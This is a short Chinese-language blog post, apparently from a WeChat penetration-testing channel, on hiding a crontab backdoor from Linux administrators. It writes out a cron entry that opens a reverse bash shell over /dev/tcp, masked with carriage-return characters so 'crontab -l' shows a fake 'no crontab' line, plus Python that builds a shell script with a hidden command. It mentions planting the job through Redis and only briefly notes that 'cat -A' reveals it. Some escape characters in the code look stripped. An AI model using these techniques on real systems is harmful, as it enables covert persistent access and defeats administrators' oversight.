crontab定时后门
crontab是用来定期执行程序的命令,crond 命令每分钟会定期检查是否有要执行的工作,如果有要执行的工作便会自动执行该工作。
注意: 新创建的 cron 任务,不会马上执行,至少要过 2 分钟后才可以,当然你可以重启 cron 来马上执行
比如我们通过redis写crontab后,管理员上线 执行 crontab-l
就会查看到我们留下的可疑命令。那么我们如果躲避管理员的查看呢?
其实 crontab-l
是查看保存在这里 /var/spool/cron/crontabs/root
文件。路径里的root对应每个用户不同的crontab
隐藏crontab命令
我们清除之前的cron, 使用如下命令隐藏你的后门
(crontab-l;printf"*/60 * * * * exec 9<> /dev/tcp/127.0.0.1/8888;exec 0<&9;exec 1>&9 2>&1;/bin/bash --noprofile -i;rno crontab for
whoami %100cn")|crontab -
这时候,管理员 crontab-l
,或者查看记录文件都看不到定时任务了
这个后门还是存在的,应该怎么看到呢?
使用 cat-A xxx
就可以看到隐藏的后门了。
原理
原理就是cat一些比如 r 回车符 n 换行符 f 换页符这些符号导致了隐藏。
这里用python制作一个隐藏的sh。
cmd_h = "echo 'You forgot to check `cat -A`!' > oops" # 隐藏
cmd_v = "echo 'You see me!'" # 显示
with open("test.sh", "w") as f:
output = "#!/bin/shn"
output += cmd_h + ";" + cmd_v + " #r" + cmd_v + " " * (len(cmd_h) + 3) + "n"
f.write(output)
然后用 cat-A
查看, cat-A
表示展示所有,等同于 -vET
这个技巧不单可以用在crontab,根据其他场景也可以使用。
师傅!右下角点赞、在看是免费的 (๑•̀ㅂ•́)و✧
渗透测试教程
已经吃不上饭了,好心人关注一下-_-
本文始发于微信公众号(渗透测试教程):linux-隐藏你的crontab后门
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论